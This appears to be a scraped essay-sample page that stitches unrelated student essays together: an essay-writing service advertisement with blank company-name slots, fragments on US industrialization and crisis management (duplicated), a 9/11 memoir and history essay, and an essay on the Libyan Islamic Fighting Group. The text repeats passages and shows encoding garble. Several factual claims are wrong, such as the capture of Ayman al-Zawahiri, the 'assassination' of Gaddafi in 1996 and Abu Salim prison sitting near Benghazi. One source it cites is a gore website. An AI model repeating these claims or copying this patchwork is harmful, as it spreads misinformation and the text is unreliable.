Content Writing - Essay Example Thus, it is important that when you hear the word limit, you should be able to create an outline with the arguments that would put your article forward at a glance. This is where we at _________come in. This is important especially for a college entrance essay where a lot of students have applied for limited slots within the university. The admissions committee would readily want to separate the people who have something to say and those who go around the bush. They also want to know you as a person and as a writer in as little time as possible through reading your article. Second, articles are given a limit because they want to know how you would deal with pressure. They would want to know how deep is your understanding of an issue and how you will gather the necessary information into a good essay piece. The common error when writing an article with a word limit is that, people unconsciously disregard the basic essay structure, as they get too absorbed in dealing with the word count. Without the structure, one would lose coherence and would not be able to weave the important points together within the word limit. Our company, ______________, is here to ensure that your essay is given a thumbs-up by whatever institution. Dealing with the stringent requirements of an article would surely be hard to deal with on your own. Our team of writers would readily help you with the needs of your article. They received trainings for writing articles and readily know how to go about with writing the article. Their knowledge on writing is limitless and a big bonus is their innovative style of writing. We would match your needs with skills and talents as soon as we receive your order and this would keep the ball running. Let us help you with writing that article today. Contact our support team now and they would gladly and readily assist you every step of the way. We would provide you with our best writers

The rise of industrialization in the United States Essay

The rise of industrialization in the United States - Essay Example Without industrial revolution, the modernization of many societies would not have been achieved, and America would not be exceptional. Therefore, it becomes relevant to discuss the rise of industrialization in the United States, with a focus on what were the important components? Who were the major players and in what industries did they thrive? Assessing how technology was applied into this developments and how the working class fitted into the plan, as well as the significance of the labor movement in this process also forms the subject of this discussion. Industrialization initially started in Britain, and eventually spread to the rest of Europe and America. Before the industrial revolution, the US was using horse-powered machinery to run its factories2. This eventually changed to the adoption of water power, before industrialization revolutionized the whole manufacturing and production systems. There are several components that saw the rise of industrialization in America. First, after the end of the Civil War, agriculture in the country flourished, with a high production of raw materials such as cotton, which was being used in the textile industry for the manufacture of clothing. This being the case, the demand for production systems that would enhance the use of the readily available raw material contributed to the need to establish a more robust system of production, which saw steam-powered manufacturing, effectively replacing the water-powered machineries1. The other aspect that contributed to the rise of the American industrialization is the increased demand for manufactured goods that rose significantly notably between 1780s and the 1840s2. Considering that agricultural production in America had improved a great deal, there was sufficient food and other necessities obtainable from the farms, but a shortage of industrial products. This served to increase the demand for manufactured commodities, which eventually sparked off industrialization. Improved t ransport system also contributed to the rise of industrialization in America. In the period leading to 1820s, there was a high investment in transport systems such as canals and later the railway around 18353. An abundance of natural resources that were required in the manufacturing of commodities also played a great role in the rise of industrialization in America. America was endowed with vast natural resources, which formed the foundation for the rise of industrialization. Considering that natural resources such as steel, coal and oil were not to be imported, but simply to be obtained domestically, then, a manufacturing system that would take advantage of these resources had to be established, paving way for industrialization. Most significantly however, is the fact that foreign investment, availability of labor and technological innovation played a major role in the rise of industrialization in America4. There was a massive wave of investors shifting from the already industriali zed countries such as Britain, Germany and France, who came with a wealth of experience and capital to spark off the industrial growth. Coupled with that was the technological innovation that was occurring in America, which had resulted to the discovery of more efficient and highly productive systems. The foreign investors were able to invest and

Strategic management Essay Example | Topics and Well Written Essays - 3750 words

Strategic management - Essay Example Organizations usually keep much attention in the maintenance of the strategic plans implemented for dealing with the crisis situation by providing the staff with regular training to acquaint them with essential skills to manage such situation. At often instances, engagement of a Crisis Management Team (CMT) for dealing with the situation is deemed beneficial and strategically effective. CMT’s primary responsibility is to resolve the obstructions of crisis completely and assist the organization to regain its previous smoothness in performing its operations (European Interagency Security Forum, â€Å"Crisis Management of Critical Incidents†). Notably, CMT does not follow the management structure of work. According to the strategic plan for the crisis situations, there exist three stages, which encompass before crisis, during crisis and after crisis situations. CMT, thus, assists with the development of various strategic plans to deal with these stages in the most effectiv e manner. In the first stage of crisis situation, i.e. before the crisis, the organizations try to identify the types of crisis that might occur at a given period of time and make plans accordingly. Similarly, during the crisis, the CMT looks after the specific organizational operations affected by the crisis. Also, the time required for the resolution of the crisis is kept in consideration by the CMT. Concerning the stage after crisis, CMT studies the causes responsible for the crisis and take precautionary measures so as to avoid similar circumstances in future (Boin and Lagadec185-191). Thesis Statement. This essay intends to discuss the role and the significance of strategic management in crisis situations and its implications on organizations. A BRIEF OVERVIEW OF PREVALENT CRISIS SITUATIONS IN ORGANIZATIONS Organizational crisis can be referred to particular situational obstacles, where the causes and consequences of organizational non-performances are unidentified at the initi al stage and are therefore, capable of imposing major threat to organizational performances even though the chances of a crisis occurrence are relatively lower. It has often been proclaimed that the remedies to the crisis must be made early in order to prevent any adverse consequence of it on the organization. It is worth mentioning that not all the crisis situations are preventable within the organizational context, such as the crisis arising from external environment. It thus, argued that organization should have the sufficient competency to proactively manage these non-preventable crisis situations. The objective of the crisis management does not end with the resolving of the problem but it also involves identifying measures so that such crisis would not occur again in the future. Thus, the best way of deal and manage the crisis situations is to believe that every crisis has a life cycle. This life cycle process is termed to be a vital approach for coping up with the organization al crisis. It means that the strategy of crisis management must be divided into various segments so that an effective approach can be formulated and implemented by the organization for its

Content Writing Essay Example | Topics and Well Written Essays - 17000 words

Content Writing - Essay Example Thus, it is important that when you hear the word limit, you should be able to create an outline with the arguments that would put your article forward at a glance. This is where we at _________come in. This is important especially for a college entrance essay where a lot of students have applied for limited slots within the university. The admissions committee would readily want to separate the people who have something to say and those who go around the bush. They also want to know you as a person and as a writer in as little time as possible through reading your article. Second, articles are given a limit because they want to know how you would deal with pressure. They would want to know how deep is your understanding of an issue and how you will gather the necessary information into a good essay piece. The common error when writing an article with a word limit is that, people unconsciously disregard the basic essay structure, as they get too absorbed in dealing with the word count. Without the structure, one would lose coherence and would not be able to weave the important points together within the word limit. Our company, ______________, is here to ensure that your essay is given a thumbs-up by whatever institution. Dealing with the stringent requirements of an article would surely be hard to deal with on your own. Our team of writers would readily help you with the needs of your article. They received trainings for writing articles and readily know how to go about with writing the article. Their knowledge on writing is limitless and a big bonus is their innovative style of writing. We would match your needs with skills and talents as soon as we receive your order and this would keep the ball running. Let us help you with writing that article today. Contact our support team now and they would gladly and readily assist you every step of the way. We would provide you with our best writers

Strategic management Essay Example | Topics and Well Written Essays - 3750 words

Strategic management - Essay Example Organizations usually keep much attention in the maintenance of the strategic plans implemented for dealing with the crisis situation by providing the staff with regular training to acquaint them with essential skills to manage such situation. At often instances, engagement of a Crisis Management Team (CMT) for dealing with the situation is deemed beneficial and strategically effective. CMT’s primary responsibility is to resolve the obstructions of crisis completely and assist the organization to regain its previous smoothness in performing its operations (European Interagency Security Forum, â€Å"Crisis Management of Critical Incidents†). Notably, CMT does not follow the management structure of work. According to the strategic plan for the crisis situations, there exist three stages, which encompass before crisis, during crisis and after crisis situations. CMT, thus, assists with the development of various strategic plans to deal with these stages in the most effectiv e manner. In the first stage of crisis situation, i.e. before the crisis, the organizations try to identify the types of crisis that might occur at a given period of time and make plans accordingly. Similarly, during the crisis, the CMT looks after the specific organizational operations affected by the crisis. Also, the time required for the resolution of the crisis is kept in consideration by the CMT. Concerning the stage after crisis, CMT studies the causes responsible for the crisis and take precautionary measures so as to avoid similar circumstances in future (Boin and Lagadec185-191). Thesis Statement. This essay intends to discuss the role and the significance of strategic management in crisis situations and its implications on organizations. A BRIEF OVERVIEW OF PREVALENT CRISIS SITUATIONS IN ORGANIZATIONS Organizational crisis can be referred to particular situational obstacles, where the causes and consequences of organizational non-performances are unidentified at the initi al stage and are therefore, capable of imposing major threat to organizational performances even though the chances of a crisis occurrence are relatively lower. It has often been proclaimed that the remedies to the crisis must be made early in order to prevent any adverse consequence of it on the organization. It is worth mentioning that not all the crisis situations are preventable within the organizational context, such as the crisis arising from external environment. It thus, argued that organization should have the sufficient competency to proactively manage these non-preventable crisis situations. The objective of the crisis management does not end with the resolving of the problem but it also involves identifying measures so that such crisis would not occur again in the future. Thus, the best way of deal and manage the crisis situations is to believe that every crisis has a life cycle. This life cycle process is termed to be a vital approach for coping up with the organization al crisis. It means that the strategy of crisis management must be divided into various segments so that an effective approach can be formulated and implemented by the organization for its

A Day and the Life of 9-11 Essay Example for Free

A Day and the Life of 9-11 Essay I remember the account like it was yesterday. It seems like any other morning I got up early with a reminder call from mom. (She work overnight) I head back down the hallway to the siblings room I wake up the boys first. They were always the hardest to wake up. â€Å"Time to get up†, I yelled like a screaking alarm clock as I jumped excitedly up and down the bed where they slept. All you can hear is the moan of the boys’ stops and pleading to get more sleep. Next stop back to my bed room where my dear little sister lays sleeping I walk up to the bed and shake hear and say time to get up. I politely give her a wake because never gives me trouble when it is time to get ready for school. I roll my eyes because those troublesome brothers of mine I know are not up out of that bed and I have to repeat the previous process and this time up each one out of the bed. While I spend time doing this my sister is up and at it she in the bathroom washing her face and brushing her teeth not having to be told what to do. In my thought I say I love that little girl. My brothers of course are moving in slow motions like a sloth in a tree. I am aggressively pushing them along and barking orders at them tell them what to do like a drill sergeant in the Army. â€Å"Wash your face†, â€Å"Brush your teeth† and â€Å"Make sure you brush your hair†. Now that I have gotten the boys up and moving I head to the kitchen to get breakfast going. Not long after finish the siblings start rolling in. My sister first so nice and chipper like she is skipping in a garden and picking flowers as she goes, how she can be that happy that early in the morning I will never understand. I finally boys come dragging their feet into the kitchen and flopping in a chair. Still grumbling about being up so early complaining about how I could have let them sleep longer. Now here is where the really trouble begins now that they are all in the same room. So now the brothers start to bother their little sister since the breakfast they are eating seems to miraculously give them a turbo boot of energy. All I can hear is â€Å"Stop leave me alone†, laughing and name calling going at the table behind me. See more:  Manifest Destiny essay My job as a big sister mother like role comes in to play; I turn to them and yell â€Å"Leave her alone before I start on yall!† Breakfast is all done now it is time to round up the troops and get them to the bus stop. Making sure they have their book bags and everything that goes in it. Once we have jackets and book bags on we make our venture up the winding driveway to the bus stop. After the bus arrives I head back down the driveway, and now have to get myself ready for school and head back down to the bus stop to get myself off to school. Now on the bus were take normal route and pickup kids. We head to the middle school to drop them off and now we head to the high school. While heading to the high school the bus driver received a call and was taking alternate route to drop us off at the school. We can see the route we normally take and there are cars backed up down the street. We thought that we had another bomb threat since that was kinda normal at our school. Once inside and we headed to homeroom we were told that planes had crashed into a building in New York. We turned on the news in the classroom because we wanted to know the details of what was going on. As we watched the news started report the approach of a second plane and we watched in real time the second plane crash into the second building. Not really understanding what was going on the new reports that it was a terrorist attack happening. Instantly it made since why we had to take a different route to school that day. Our school is Next to one of the biggest Army training bases. So of course the locked down the base no one in and no one out, which caused the traffic to back up around the school. The students reaction was mixed the students bombards the teacher with questions that at this time she had no answers for. Some student continues like it was nothing, other started crying knowing that they had loved ones that worked in those building. Many were sad because they knew that their mom and dad maybe deployed somewhere and would be gone for a long time. My reaction was why anyone would want to crash planes into these particular set of building, why would they risk their own lives doing so. While all of this was going on the intercom came on and announcing that the teacher turn off the television and try to continue the day as normal. In reality the day would not every be normal. We had so many unanswered questions. How could we continue the day like we had not seen what we seen or heard what we heard. Some teacher complied with the instruction others did not. One of the teacher found that it was important to have some clarification on what was going on. She began to tell us about what was being reported through the day. Since now it is almost time to go home there had been more progress on what had just happened that morning. She said that there had been a terrorist attack and the people they think is responsible were a Muslim group called Al Qaeda. My next thought was what Al Qaeda is and what did being Muslim have to do with it. I later learned that prior to September 11, 2001 the country moved along at its regular daily pace. Conflict and wars have been a component of the United States since the beginning of time. There are three sources conflict: human rights, global terrorism, and environmental problems. Many see terrorism as a way to hide greed, racism, and the conquests of power. Terrorism is defined by the Federal Bureau of Investigations â€Å"as an unlawful use of force or violence against person or property to intimidate or coerce a government, the civilian population, or any segment thereof, in furtherance of political or social objectives† (Federal Bureau of Investigation, 2002-2005). Terrorism makes the statement that demands attention and affects every person in every country around the world. On that clear Tuesday morning; September 11, 2001, nineteen Islamic terrorists from Saudi Arabia and other Arab nat ions boarded four fully fueled American airliners. These airliners were set to depart to cities in California. Little did the staff for each of the planes or the people boarding them know that plans had changed. Within the space of an hour, al Qaeda wreaked more direct damage on the United States than the Soviet Union had done throughout the entire cold war, a tragedy seen by more people than any other event in history. (Bergen, 2006) Many questions were garnered after September 11, 2001. What caused this horrific attack and who’s to blame for it? Was this attack forecasted, could we have seen it coming and prevented it? What do we do now and how do we prevent it from happening again? People in America were terrified but at the same time came together in the face of tyranny. On September 11, 2001, nineteen militants associated with the Islamic extremist group al-Qaeda boarded and hijacked four American airliners and carried out suicide attacks against targets in the United States. At 8:45 a.m. an American Airlines Boeing 767 loaded with 20,000 gallons of jet fuel crashed into the north tower of the World Trade Center in New York City. The impact left a huge, burning hole near the 80th floor of the 110-story skyscraper, immediately killing hundreds of people and trapping hundreds more in higher floors. As the evacuation of the tower and its twin got underway, television cameras broadcasted live images of what initially appeared to be a freak accident. Then, eighteen minutes after the first plane hit, a second Boeing 767–United Airlines Flight 175–appeared out of the sky, turned abruptly toward the World Trade Center and sliced into the south tower near the 60th floor. The impact caused a massive explosion that rained down burning debris over surrounding buildings and the streets below. It was at this point everyone knew America was under attack. (9/11 Attacks, 2012) As millions were watching the events unfold in New York, American Airlines Flight 77 circled over downtown Washington, D.C., and crashed into the west side of the Pentagon military headquarters at 9:45 a.m. Jet fuel from the Boeing 757 caused a overwhelming firestorm that led to the structural collapse of a portion of the enormous concrete building. All told, 125 military personnel and civilians were killed in the Pentagon, along with all 64 people aboard the airliner. (9/11 Attacks, 2012) It was initially thought that this plane was bound for the White House or the Capitol Building; however, because of lack of visibility coming from the west as it did objects obscured these targets making the terrorists change their plans and crash into the Pentagon. (Limbacher, 2001) Less than fifteen minutes after the attack on the Pentagon; things became much worse in New York. The south tower of the World Trade Center collapsed bringing a huge cloud of smoke and dust. The building that could withstand 200 miles per hour winds, could not withstand the heat of the burning jet fuel and eventually the structural steel buckled and collapsed. Within minutes the North tower fell to the same fate. Approximately 3,000 people were killed, both inside the buildings as well as people in the vicinity. An extremely large number of firefighters and paramedics (343), police officers (23), and Port Authority police officers (37) were killed while trying to complete an evacuation of the buildings. Only six people in the World Trade Center towers at the time of their collapse survived. (9/11 Attacks, 2012). During the time that the towers were collapsing, a fourth plane bound for San Francisco, CA was being hijacked. Due to this plane being delayed in taking off, the passengers on board learned of the events transpiring in New York City and Washington D.C. through the use of the Airfones and cell phone calls from relatives on the ground. Since the passengers knew that this plane was not bound for an airport they decided to take matters into their own hands. The passengers fought the four hijackers and are suspected to have attacked the cockpit with a fire extinguisher. The plane flipped over and sped toward the ground at a speed of upwards of 500 miles per hour, crashing in a rural field in Shanksville, Pennsylvania at 10:10 a.m. All 45 people aboard were killed. Its initial target has never been completely determined; however, it is believed that it was bound for the White House, the U.S. Capitol, or one of several nuclear power plants along the eastern seaboard. (9/11 Attacks, 2012) The people aboard Flight 93 have been deemed heroes, as their actions that day saved possibly hundreds if not thousands of lives. After being transported around the country due to security concerns, President George W. Bush returned to the White House around 7 p.m. At 9 p.m. he addressed the United States from the Oval Office, affirming, â€Å"Terrorist attacks can shake the foundations of our biggest buildings, but they cannot touch the foundation of America. These acts shatter steel, but they cannot dent the steel of American resolve. In a reference to the eventual U.S. military response he declared, We will make no distinction between the terrorists who committed these acts and those who harbor them. (9/11 Attacks, 2012) As a result of the attacks, America led an international operation to expel the Taliban command in Afghanistan and to destroy al Qaeda’s terrorist cells based there. Operation Enduring Freedom began on October 7th 2001, and within two months U.S. forces had successfully overthrown and removed the Taliban from operational power. However, the war had to continue as U.S. and coalition forces attempted to expel a Taliban insurgency in neighboring Pakistan. Many of the al Qaeda’s top lieutenants were captured or killed, to include its bin Laden’s second in charge and the overall mastermind of the attacks Ayman al-Zawahiri. (McCarthy Luke Harding, 2002) Osama bin Laden, the leader of al Qaeda and financier of the September 11 attacks was able to escape U.S. forces until he was finally traced to a hideout in Abbottabad, Pakistan and killed by U.S. forces on May 2, 2011. (9/11 Attacks, 2012) As Americans, when a tragedy like September 11, 2001 happens to us, our first reaction is obviously to be frightened. We then came together as a country much like we did after the attack on Pearl Harbor. Our next reaction is to ask questions; how did this happen, could we have avoided it happening, why did it happen, and how do we prevent it from happening again. There are many theories as to why 9/11 happened; however, we will never know for sure, we can only speculate based off information provided to us by our government and media. U.S. foreign policy is believed to be one of the most influential reasons for the attacks. Bin Laden opposed the United States support of Israel. The support that the U.S. gives to Israel especially Israel’s invasion of southern Lebanon in 1982 triggered Bin Laden’s anti-Americanism. In 1980s his anti-Americanism took the form of boycotting U.S. goods. His hatred only grew by the export of 500,000 U.S. troops to Saudi Arabia after Saddam H ussein’s invasion of Kuwait in 1990. (Bergen, 2006) Other possible reasons or causes for the attacks were a clash within Islam. Michael Scott Doran talked about 9/11 being a result of a conflict within the Muslim world in a Foreign Affairs essay, Somebody Else’s Civil War. Doran contended that Bin Laden’s followers consider themselves an island of true believers surrounded by a sea of immorality and think that the future of religion itself, and therefore the world depends on them and their battle. In particular, Egyptians in al Qaeda, such as Ayman al-Zawahiri, hold this view, inheriting it from Sayyid Qutb, who believed that most of the modern middle east is living in a state of pagan ignorance. The Egyptian jihadists believed that they should overthrow the near enemy-middle east regimes run by apostate rulers. Bin Laden took the next step, urging Zawahiri that the origin of the problem was not the near enemy but the far enemy, the US, which supported the status quo in the middle east. (Doran, 2002) Globalization and a desire to provoke the United States have been inferred by political analysts as possible motives for the attacks. Bernard Lewis wrote a book called The Crisis of Islam: Holy War and Unholy Terror. He is the best-known advocate of the idea that the Muslim world is in a crisis largely attributable to centuries of decline, represented by the fate of the once powerful Ottoman Empire and its humiliating carve-up by the British and French after the First World War. Lewis also contends that the problems of the Middle East were later compounded by the introduction of two western ideas; socialism and a worldly Arab nationalism. Neither of them delivered on their assurances of creating wealthy and impartial societies. (Lewis, 2003) Three weeks after 9/11, as the US began launching air strikes against Taliban positions, a video of Bin Laden sitting on a rocky ridge was broadcast on Al-Jazeera. On the tape, Bin Laden stated, What America is tasting now is something insignificant compared to what we have tasted for scores of years. The Islamic world has been tasting this humiliation and this degradation for 80 years Neither America nor the people who live in it will dream of security before we live in it in Palestine, and not before the infidel armies leave the land of Muhammad. Bin Laden accentuated the humiliation of the Muslim world and the negative effect of US policies in the Middle East thus agreeing with Bernard Lewis’ statements in his book. (Bergen, 2006) Obviously one of the most defining negative impacts of 9/11 was the amount of lives lost on September 11, 2001; as well as the number of lives still in jeopardy as a result of the â€Å"War on Terror†. The 9/11 attack killed 2,973 people, including Americans and foreign nationals but excluding the terrorists. (U.S. deaths in Iraq, war on terror surpass 9/11 toll, 2006) Since the beginning of the Afghan War (Operation Enduring Freedom) in 2001 up to the current day, there have been 2,104 U.S. servicemen and women who have lost their lives. That number includes both combat deaths as well as military suicides that occurred in Afghanistan. (Suarez, 2012) Although the War in Iraq was not directly linked to 9/11, the attacks help jump start that war since the initial reasoning for going to war was Iraq harboring terrorists and having a surplus of weapons of mass destruction. The total number of American soldiers that have been killed to date as a result of Operation Iraqi Freedom is 4486 lives. (Iraq Coalition Casualty Count, 2012) The â€Å"Patriot Act† could be looked upon as a positive outcome of the 9/11 attacks. The â€Å"Patriot Act† was appropriately blatant. Before 9/11, soldiers were considered the â€Å"patriots†; units like Special Forces were considered to be the tip of freedom. Now the FBI and prosecutors were to have that same privilege, the same authorization to hunt down enemies without much oversight or interference. When it was signed into law six weeks after the attacks, the act made it easier to wiretap American citizens suspected of cooperating with terrorism, to investigate business records without notification, and to execute search warrants without immediately informing the targets. Privileges once set aside for overseas intelligence work were extended to domestic criminal investigations. There was less judicial oversight and very little transparency. The bill’s symbolism mattered also, signaling that the moral deference previously given to the Special Forces would be extended until it incorporated much of the apparatus of the American state. (Wallace-Wells, 2011) There are some that feel that Americans civil rights have been violated since 9/11. The ACLU for instance, they disagree with the principles of the Patriot Act. They summarized that â€Å"The Patriot Act† enormously and unconstitutionally expanded the government’s power to interfere in people’s private lives with little or no evidence of wrongdoing. Years after its enactment, there is little evidence to prove that the Patriot Act has made America more secure from terrorists. But there are many unfortunate examples that the government abused these authorities in ways that both violated the rights of innocent people and misspent precious security resources.† (Dean, 2011) September 11, 2001 will be a day that stays in every Americans memory as one of the most tragic days in American history. It was a day where hijackers boarded planes, flew them into our buildings and murdered thousands of Americans. Even though as a country we prevailed in the War on Terror as well as the War in Iraq, we will continue to feel the negative impacts of this day. One definite positive outcome is that every American citizen remembered what it was to be an American citizen and to treasure the freedom that we have. To all the Americans that lost their lives on that day and all the soldiers that continue to fight for our freedom at home and abroad; We Will Never Forget You. Work Cited U.S. deaths in Iraq, war on terror surpass 9/11 toll. (2006, September 3). Retrieved from CNN.com: http://edition.cnn.com/2006/WORLD/meast/09/03/death.toll/ 9/11 Attacks. (2012). Retrieved from The History Channel: http://www.history.com/topics/9-11-attacks Iraq Coalition Casualty Count. (2012). Retrieved from icasualties.org: http://icasualties.org/ Bergen, P. (2006). What Were the Causes of 9/11? New America Foundation. Dean, J. (2011, September 9). Reflections on the 9/11 Atttacks Lasting Impact on America, and American Law. Retrieved from Verdict: http://verdict.justia.com/2011/09/09/reflections-on-the-911-attacks-lasting-impact-on-america-and-american-law Doran, M. S. (2002, February). Somebody Elses Civil War. Retrieved from Foreign Affairs: http://www.foreignaffairs.com/articles/57618/michael-scott-doran/somebody-elses-civil-war Lewis, B. (2003). The Crisis of Islam: Holy War and Unholy Terror. New York: Modern Library, an imprint of The Random House Publishing Group, a division of a division of Random House, Inc. Limbacher, C. (2001, September 16). Cheney: Pentagon Plane was Headed for White House. Retrieved from Newsmax.com: http://archive.newsmax.com/archives/articles/2001/9/16/131111.shtml McCarthy, R., Luke Harding. (2002, February 17). Bin Ladens Number 2 Said Captured In Iran. Retrieved from Rense.com: http://rense.com/general20/cap.htm Suarez, R. (2012, August 24). U.S. Military Death Toll in Afghan War Reaches New Milestone. Retrieved from PBS News Hour: http://www.pbs.org/newshour/bb/military/july-dec12/afghanistan_08-24.html Wallace-Wells, B. (2011, August 27). Patriot Act. The kitchen-sink approach to national security.

Libyan Islamic Fighting Group

Libyan Islamic Fighting Group Introduction: The world is a place of diverse beings. The differences of each human civilization have been observed ever since the ancient times. As of today many terrorist groups are very evident from the West to the East. One of the most prominent terrorist groups is the Al Qaeda network but was debunked in the early days of 2011-2012. They are the proprietor of the 9-11 attack in the United States’ World Trade Center that has caused a worldwide uproar in the year 2001. Meanwhile, a distant relative of this Al Qaeda Network is the LIFG (or the Libyan Islamic Fighting Group). They have different views with the Al-Qaeda but some allegations say that they are connected. The objectives of this paper are to undermine the history of the terrorist group LIFG as well as the victims, and other conceptions of their attacks. The essay is limited to the entity and will not discuss any conspiracy theories further. History: The group was founded in year 1995 by the Libya nationals that are fighting against the Soviet Union in Afghanistan (in the 1980’s). Moreover, the group has a concrete objective of establishing an Islamic Government in Libya and is against the administration of Gaddafi and considers him as an anti-Muslim. This is based on a report by the Canadian Security Intelligence Service. In 1996, it was allegedly reported that LIFG was behind the assassination of Gaddafi; it was later admitted by the group later that month of February. It was later found out by David Shayler that MI6 funded the assassination. The group has been continuously attacking the Libyan security forces unitl the 1990s (NTC, 2011). They are also behind on many attacks in UK in 2002 and were allegedly included in the attacks of 2012 in America. The name change of the militant group is constant over the years. Nevertheless, they are still the same group in Libya and has the same mission with the predecessor. Acts done by the Libyan Islamic Fighting Group The LIFG is an Islamic militant organization that contradicts Colonel Muammar Qaddafis administration and is seen in action ever since in the year 1995. The militant group is very visible (in numbers) in eastern Libya, drawing upon an in number Islamic base that bolstered the Sanussi government, which governed Libya somewhere around 1951 and 1969. The Islamic group was erased after Qaddafis powers ousted the government in 1969, as Qaddafi saw them as a potential test to his control. Several senior individuals from the LIFG are accounted for to have battled in Afghanistan against the Soviet Union in the 1980s, including previous LIFG part and al-Qaeda field officer Abu Laith al-Libi and LIFG profound pioneer Sami al Saadi. It was also known that the LIFG has accepted to have been the proprietor of viciousness in eastern Libya – a district generally known as Cyrenaica – in the mid to late 1990s. Additionally, it guaranteed obligation regarding brutality against the police force in Benghazi amid July and September 1995, and were included in the wicked mobs at Abu Salim jail close to Benghazi in 1996 are 1,200 prisoners. The U.S. Bureau of the Treasury assigned the LIFG as a Foreign Terrorist Organization on December 8, 2004, referring to the bunchs contribution in a progression of suicide bombings in Casablanca in May 2003 and close linkages to al-Qaeda. The LIFG had bolster systems dynamic in the United Kingdom in the mid 2000s. In the months of February and May of 2006, British police captured nine individuals included in giving money related and logistical backing to the LIFG in Libya. It is not clear in open source reporting if such bolster systems stayed operational; while there are practically no reports of LIFG movement in the UK since the May 2006 captures, a double British-Libyan national who was captured in Libya in March 2011 asserted to have raised cash for the LIFG while living in the UK amid the last fourteen years. Al-Qaeda second-in-order Ayman al-Zawahiri discharged a sound tape declaring that the LIFG had joined al-Qaeda in the November of 2007. Abu Laith al-Libi is likewise heard on the tape, announcing his partnership with the al-Qaeda network. Several high positioning al-Qaeda individuals are connected with the LIFG, most remarkably Abu Yahya al-Libi, al-Qaedas publicity boss, and Abu Laith al-Libi, who was killed by an automaton strike in January 2008. The LIFG had all the earmarks of being generally outdated by the mid-2000s, until reports caught in Sinjar, Iraq demonstrated that more than 100 Libyans from LIFG fortresses in eastern Libya had joined al-Qaeda in Iraq (AQI) somewhere around 2006 and 2007. In year 2007, Saif al-Islam Qaddafi, Colonel Qaddafis second most established child, approached detained LIFG pioneers and offered to discharge LIFG contenders in return for people in general disavowal of Islamic radicalism. Saif al-Islam was worried that the late LIFG collusion with al-Qaeda and the disclosure of far reaching Libyan association in AQI demonstrated that Libya was progressively debilitated by Islamic radicalism. Starting in 2007, more than 250 LIFG individuals were discharged from jail and other implicit r ules negating al-Qaedas vicious standards was distributed by current administration (Witter, 2011). LIFG participated with the Moroccan Islamic Combatant Group in planning the May 2003 bombings in Morocco, Casablanca that killed over 40 people and injured more than a hundred wounded. The Group was also involved to the 2004 attacks in Spain’s capital Madrid. Al-Faqih was tried and found guilty in the said case for his involvement in the series of suicide bombings in Casablanca, Morocco by the Morocco Rabat Criminal Court of Appeals in May 2003. It was known that the Morrocan Group initiated it and was tried in court. In March 2011, individuals from the LIFG in Ajdabiya proclaimed to the press that the gathering backings the rebellion against Gaddafis standard, and had set themselves under the administration of the National Transitional Council. They likewise expressed that the gathering had transformed its name to Libyan Islamic Movement (al-Harakat al-Islamiya al-Libiya), had around 500–600 armed men from correctional facility lately, and denied any past or present connection with Al-Qaeda. A pioneer of the LIFG, Abdelhakim Belhadj, turned into the leader of the Tripoli Military Council after the radicals assumed control Tripoli amid the 2011’s Tripoli War. Abdel-Hakim from the gathering, admit to the Italian daily paper Il Sole 24 Ore that his contenders had al-Qaeda links on March 2011. Al-Hasidi was caught in 2002 in Peshwar, Pakistan, later gave over to the US, and afterward held in Libya before being discharged in 2008. He concedes in the same meeting that he had prior battled against the remote attack of Afghanistan. Victims of the LIFG Attacks: Most victims of the group are civilians of the Libyan nation. They are considered as suspects to many bombings in the year 2003. Moreover, they have also killed many policemen in the year 1996 to issue a stronghold against the Qaddafi/Gadaffi administration. The killings are subject to debate because for the Islamic movement to kill (in the name of Almighty) is to glorify Allah. But this part of the essay aims to describe the entity of the victims by the Islamic militants’ warfare. It is evident that the attacks are in lined with their mission as an independent organization that wants to establish an Islamic State in Libya. They have been killing innocent civilians to prove that they are doing these things to have a sovereign power. This is also as an act of rebellion to the Qadaffi government. Moreover, they are reiterating that the current administration is an Anti-Muslim. The killings are quite awful in the eyes of the reporter. Several Bombings of the year 2003 which has killed over a hundred people has caused a huge uproar in the United Nations congregation. Moreover, the victims are mutilated, severely injured or died on the spot. It is not a pleasing sight according to John Mint (2004). They have also joined forces with Moroccan Islamic Group and have caused a casualty of 140 individuals There are also allegations that the group has gang raped a woman in Libya (Veritas, 2011). The woman has been severely injured (mutilated) and could not be identified in the hospital where she was taken. The face of the woman is full of carvings allegedly by a knife. The relatives of the victims most probably are devastated with what their loved ones experienced before their death. Mitigation of threat: The group has been very dynamic to its mission to establish an Islamic State that is not governed by Qadaffi. Moreover, there expansion to the international scene as having ties with high ranking officials of the Al Qaeda is very alarming. The world is now suffering from many Islamic extremist groups that has caused a huge uproar to the international scene. Just last January 2015, a Japanese national has been beheaded by the ISIS. They are an Islamic group that is all behind the uproar in Syria, Iraq and Jordan. In the early days of February another individual has been brutally killed by the ISIS a Jordanian Pilot. Whether, the LIFG is a part or associated with the ISIS the group is still bringing unfair brutal killings in Libya. It is not fair for innocent people to die in the midst of a bias conflict. However, if the group is fighting for their rights, they could have made a peaceful move rather than killing innocent people. It is quite a disgrace to their religion; for Islam is a religion of peace. All in all, the attacks of the terrorist group are condemned by many including the proponent of this essay. No one has the right to kill anybody regardless of religion or race or whatsoever. If somebody is killing because of extreme advocacy, they are not only blind but they also lack empathy. References: Witter, David B., (2011). â€Å"Libyan Islamic Fighting Group.† A Fact Sheet: Institute for the Study of War. Retrieved from: [http://www.understandingwar.org/sites/default/files/FactSheet_LIFG.pdf] Mint, John., (2004). â€Å"Victims of the Libyan 2003 Bombing.† Archived Daily Esquire News. Retrieved from:[http:www. esquirenews.com/files/2003libya.html] Veritas, V., (2011). â€Å"Woman Gang Raped and Mutilated by Libyan Islamic Fighting Group.† Retrieved from: [http://www.bestgore.com/execution/woman-gang-raped-mutilated-libyan-islamic-fighting-group/] â€Å"Foreign Terrorist Organizations-Multimedia Counterterrorism Calendar†. Nctc.gov. Retrieved2011-11-08. [http://www.nctc.gov/site/other/fto.html]

Asian American Essay -- essays research papers

The American Community in the 1900’s to the 1920’s was in fact a totally different generation than its successor not only because of cultural and economic reasons but also because of world events and the rise of technology. Americans in the early 1900’s were a closely knit generation with a sense of community, morals, and obligations. They had an "instilled" set of ideals and values and their lives were very much affected by the rise of technology. Living in America in the early part of the 1900’s was a hard and trying era through such turbulent times as the Great Depression, World War I, and the Industrial Revolution. Such profound and important events happened in a relatively short amount of time. Americans were searching for an identity for their country which was still only less than 200 years old. Big Industry was on the rise slowly and Americans were starting to contend in the growing world market. Throughout American history, people have fought for equality in any shape or form and the mid 1900’s was no exception. Having gone through leaps and bounds in terms of civil rights. The 1920’s to the 1940’s was a transitional period for all Americans and minority groups. During this period of American history, America was one of the most modern countries in the world but still...

The Assassin :: Papers

